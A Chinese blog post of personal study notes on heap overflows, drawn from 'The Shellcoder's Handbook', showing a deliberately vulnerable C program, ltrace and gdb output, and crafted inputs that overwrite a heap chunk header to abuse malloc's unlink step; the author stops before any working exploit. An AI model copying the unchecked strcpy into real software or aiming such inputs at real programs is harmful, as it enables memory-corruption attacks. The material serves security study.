shellcode之五:堆溢出

声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。


几乎所有的malloc实现都会用元数据保存块的位置、大小或与小块有关的特殊数据。dlmalloc用存储桶保存这些数据,还有些malloc实现用平衡树结构保存它们。这些元数据一般保存在两个地方:malloc实现自己使用的全局变量;分配给用户的内存块的前/后位置。


基本堆溢出


绝大多数堆溢出的基本原理如下:堆和栈很相似,既包含了数据信息,也包含了用来控制程序理解这些数据的维护信息。我们所要掌握的技巧,就是通过malloc和free来达到这个目的:把一或两个字写入我们能控制的内存地址。


我们先看一个会产生堆溢出的程序:

//file: basicheap.c

#include <stdio.h>
int main(int argc, char *argv[])
{
    char *buf;
    char *buf2;
    buf = (char *)malloc(1024);
    buf2 = (char *)malloc(1024);
    printf("buf=%p, buf2=%p/n", buf, buf2);
    
    strcpy(buf, argv[1]);
    free(buf2);
}
该程序分配有两个缓冲区,它们在内存中是相邻的,当第一个缓冲区溢出时会改写第二个缓冲区中的元数据。编译用ltrace跟踪运行:

sep@sep:~/project/shellcode$ ltrace ./basicheap `perl -e 'print "A" x 5000'`
__libc_start_main(0x8048444, 2, 0xbfb19a24, 0x80484d0, 0x80484c0 <unfinished ...>
malloc(1024)                                                        = 0x804a008
malloc(1024)                                                        = 0x804a410
printf("buf=%p, buf2=%p/n", 0x804a008, 0x804a410buf=0x804a008, buf2=0x804a410
)                   = 30
strcpy(0x804a008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)            = 0x804a008
free(0x804a410 <unfinished ...>
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
发生了segmentation fault。两个缓冲区的首地址分别是0x804a008和0x804a410,它们之间的距离是0x804a410-0x804a008=1032=1024+8,它等于缓冲区的长度1024字节加上存贮块信息头的8个字节。进行strcpy了5000个字节的数据到buf中时,发生了堆溢出,从而改写了buf2的头部块信息,这时进行free(buf2)操作就会导致段故障。

对于strace、ltrace等工具的使用,见:http://www.ibm.com/developerworks/cn/linux/l-tsl/


我们怎样欺骗malloc,使它处理改写后的内存块是问题的关键。首先,我们要清除被改写的块头部的previous-in-use位,然后把“前一块”的长度设为负数,这样将运行我们在缓冲区中定义我们自己的块。

malloc实现,包括Linux中dlmalloc,都把额外信息保存到空闲块里。空闲块的前4个字节是前向指针,接下来的4个字节是一个后向指针,这两种指针把空闲块挂在双向链表上。在对双向链表的插入和删除操作中,我们可以利用这些指针改写任意内存地址中的数据。

./basicheap `python -c 'print "A" * 1024 + "/xff/xff/xff/xff" + "/xf0/xff/xff/xff"'`

该命令运行后,堆缓冲区buf溢出,改写了buf2头部的8个字节为0xfffffff0和0xffffffff。

找出缓冲区的长度,在以上的例子中我们通常可以在内存中看到缓冲区(以A开始的)的起始位置,这个word之前的数据就是缓冲区的长度。(gdb) x/xw buf-4显示长度是1033,它等于buf的长度1024加上存储块信息的8个字节,而最后1位指示这个块之前是否还有其他块。如果它被置位(像这个例子),表明这块头部没有保存前一个块的大小;如果它被置0,则表示这个块之前还有一个块,而且buf-8中的数据就是前一个块的大小。倒数第二位是一个标记,表示这个块是否由nmap分配的。

sep@sep:~/project/shellcode$ gdb ./basicheap
GNU gdb 6.4.90-debian
Copyright (C) 2006 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...Using host libthread_db library "/lib/i686/cmov/libthread_db.so.1".

(gdb) r `python -c 'print "A"*(1024)+"/xfc/xff/xff/xff"+"/xf0/xff/xff/xff"+"AAAAABCDEFGH" '`
Starting program: /home/sep/project/shellcode/basicheap `python -c 'print "A"*(1024)+"/xfc/xff/xff/xff"+"/xf0/xff/xff/xff"+"AAAAABCDEFGH" '`
Failed to read a valid object file image from memory.
buf=0x804a008, buf2=0x804a410 ;输出两个缓冲区的首地址
*** glibc detected *** /home/sep/project/shellcode/basicheap: free(): invalid pointer: 0x0804a410 ***
======= Backtrace: =========
/lib/i686/cmov/libc.so.6[0xb7ecc764]
/lib/i686/cmov/libc.so.6(cfree+0x96)[0xb7ece966]
/home/sep/project/shellcode/basicheap[0x80484b2]
/lib/i686/cmov/libc.so.6(__libc_start_main+0xe5)[0xb7e74455]
/home/sep/project/shellcode/basicheap[0x80483b1]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 30559 /home/sep/project/shellcode/basicheap
08049000-0804a000 rw-p 00000000 08:01 30559 /home/sep/project/shellcode/basicheap
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7d00000-b7d21000 rw-p b7d00000 00:00 0 
b7d21000-b7e00000 ---p b7d21000 00:00 0 
b7e48000-b7e54000 r-xp 00000000 08:01 1318 /lib/libgcc_s.so.1
b7e54000-b7e55000 rw-p 0000b000 08:01 1318 /lib/libgcc_s.so.1
b7e5d000-b7e5e000 rw-p b7e5d000 00:00 0 
b7e5e000-b7fb3000 r-xp 00000000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb3000-b7fb4000 r--p 00155000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb4000-b7fb6000 rw-p 00156000 08:01 11668 /lib/i686/cmov/libc-2.7.so
b7fb6000-b7fb9000 rw-p b7fb6000 00:00 0 
b7fc0000-b7fc3000 rw-p b7fc0000 00:00 0 
b7fc3000-b7fc4000 r-xp b7fc3000 00:00 0 [vdso]
b7fc4000-b7fde000 r-xp 00000000 08:01 11658 /lib/ld-2.7.so
b7fde000-b7fe0000 rw-p 0001a000 08:01 11658 /lib/ld-2.7.so
bf879000-bf88e000 rw-p bf879000 00:00 0 [stack]

Program received signal SIGABRT, Aborted.
0xb7fc3410 in ?? ()
(gdb) x/xw 0x804a008-4 ;打印buf-4处的内容
0x804a004: 0x00000409  ;buf的大小
(gdb) x/xw 0x804a410-8 ;打印buf2-8处的内容
0x804a408: 0xfffffffc  ;原来应该为前一个块的大小,现被改写为0xfffffffc
(gdb) x/xw 0x804a410-4 ;打印buf2-4处的内容
0x804a40c: 0xfffffff0  ;原来应该为buf2的大小,现被改写为0xfffffff0
(gdb) x/xw 0x804a410   ;缓冲区buf2被填充了字符串“AAAAABCDEFGH”
0x804a410: 0x41414141  
(gdb) x/xw 0x804a410+4
0x804a414: 0x44434241
(gdb)

到这里,在我操作系统上试验的结果和原书的完全不同。由于缺少试验的直观结果,加上原书写得非常简略晦涩,很多内容我是一知半解的,在这里就不继续这部分了。

你可能感兴趣的:(shellcode之五:堆溢出)